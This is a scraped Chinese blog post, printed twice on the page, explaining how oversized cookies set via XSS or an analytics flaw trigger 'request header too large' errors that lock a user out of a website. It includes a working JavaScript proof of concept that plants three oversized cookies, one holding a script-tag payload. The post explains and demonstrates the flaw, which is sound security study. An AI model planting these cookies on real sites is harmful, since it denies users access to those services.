server limit dos
来源:互联网 发布:java关键字及其含义 编辑:程序博客网 时间:2024/05/22 07:13
墨西哥同学周末很郁闷的在宾馆上网,发现youtube被ban了,于是写个了tool解决这个问题。顺带想到了一种利用 google 统计的漏洞,写在这里了
http://sirdarckcat.blogspot.com/2009/04/how-to-use-google-analytics-to-dos.html
这个问题实际上是由于 webserver 的 request field limit 造成的。
当 http request header 过长时,webserver 会产生一个400 或者 4xx 错误
Your browser sent a request that this server could not understand.
Size of a request header field exceeds server limit.
如果这些超长数据保存在cookie中,或者能够让用户每次访问的http 头都超长,就会导致用户一直都无法访问该域名,也就是dos了。
sirdarckcat 发现在 google 的统计页面中存在一个 set-cookie 的地方没有控制,类似的地方还有 搜索引擎的参数会导致 referer 过长
这些用户能够控制的地方都会导致 http request field 超长,从而导致服务器返回一个 server limit 的错误.
每个 webserver 之间都有点差异, apache 可能是 8192 字节,具体可以参考这里:
http://apache.active-venture.com/mod/core6.htm
茄子下午测试了一下,发现在IE 8 中可以增加50个 cookie,由于每个cookie的限制是 4k (key, value 对),所以IE8 支持的cookie大小为 204k。 这也是IE 8新增的,以前没这么大。不过这些都远远超过了一般的webserver的默认 server limit 值
btw: apache 对 http request body 的limite 默认是 2G.
值得注意的是,使用XSS,将可以写cookie,从而导致这种 server limit dos 攻击。
我POC了一下:
<script language="javascript">
alert(document.cookie);
var metastr = "AAAAAAAAAA"; // 10 A
var str = "";
while (str.length < 4000){
str += metastr;
}
alert(str.length);
document.cookie = "evil3=" + "/<script/>alert(xss)/<//script/>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
document.cookie = "evil1=" + str +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";
document.cookie = "evil2=" + str +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";
alert(document.cookie);
</script>
运行这个脚本后,会在当前域下植入3个cookie,总长度超过8192字节, 之后再请求该域就会无法访问了。
因为是 stored cookie, 所以会导致该用户在清理cookie前一直都无法访问该网站。
http://sirdarckcat.blogspot.com/2009/04/how-to-use-google-analytics-to-dos.html
这个问题实际上是由于 webserver 的 request field limit 造成的。
当 http request header 过长时,webserver 会产生一个400 或者 4xx 错误
Your browser sent a request that this server could not understand.
Size of a request header field exceeds server limit.
如果这些超长数据保存在cookie中,或者能够让用户每次访问的http 头都超长,就会导致用户一直都无法访问该域名,也就是dos了。
sirdarckcat 发现在 google 的统计页面中存在一个 set-cookie 的地方没有控制,类似的地方还有 搜索引擎的参数会导致 referer 过长
这些用户能够控制的地方都会导致 http request field 超长,从而导致服务器返回一个 server limit 的错误.
每个 webserver 之间都有点差异, apache 可能是 8192 字节,具体可以参考这里:
http://apache.active-venture.com/mod/core6.htm
茄子下午测试了一下,发现在IE 8 中可以增加50个 cookie,由于每个cookie的限制是 4k (key, value 对),所以IE8 支持的cookie大小为 204k。 这也是IE 8新增的,以前没这么大。不过这些都远远超过了一般的webserver的默认 server limit 值
btw: apache 对 http request body 的limite 默认是 2G.
值得注意的是,使用XSS,将可以写cookie,从而导致这种 server limit dos 攻击。
我POC了一下:
<script language="javascript">
alert(document.cookie);
var metastr = "AAAAAAAAAA"; // 10 A
var str = "";
while (str.length < 4000){
str += metastr;
}
alert(str.length);
document.cookie = "evil3=" + "/<script/>alert(xss)/<//script/>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
document.cookie = "evil1=" + str +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";
document.cookie = "evil2=" + str +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";
alert(document.cookie);
</script>
运行这个脚本后,会在当前域下植入3个cookie,总长度超过8192字节, 之后再请求该域就会无法访问了。
因为是 stored cookie, 所以会导致该用户在清理cookie前一直都无法访问该网站。
- server limit dos
- Understand HTTP Server Connection Limit
- SQL server top实现Mysql limit
- LIMIT
- Limit
- Limit
- limit
- limit
- 在SQL Server中实现 Limit m, n 的功能
- 在SQL Server中实现 Limit m, n 的功能
- mysql 和sql server的区别1---top和limit
- How to Limit Folder Size in Windows Server?
- 在SQL Server中实现 Limit m, n 的功能
- SQL Server--实现 Limit m, n 的功能
- SQL-Server 中调用DOS命令
- sql server 下使用 dos 命令
- windows server 2003 删除目录dos命令
- Windows Server 2003 DOS 命令集
- c#集合之三哈希表
- SessionFactory.getCurrentSession与openSession的区别
- gluster简介
- 我对EJB3调用原理的彻底理解
- 不做浮躁的人
- server limit dos
- 时间
- 在IIS中启用父路径,不被黑客利用
- c#除法中小数点的问题
- 测试,加工资~
- [Ext]允许在下拉树组件中录入内容
- 电子商务发展存在的问题
- 中国发展电子商务存在的问题与对策探究
- 几个通用的函数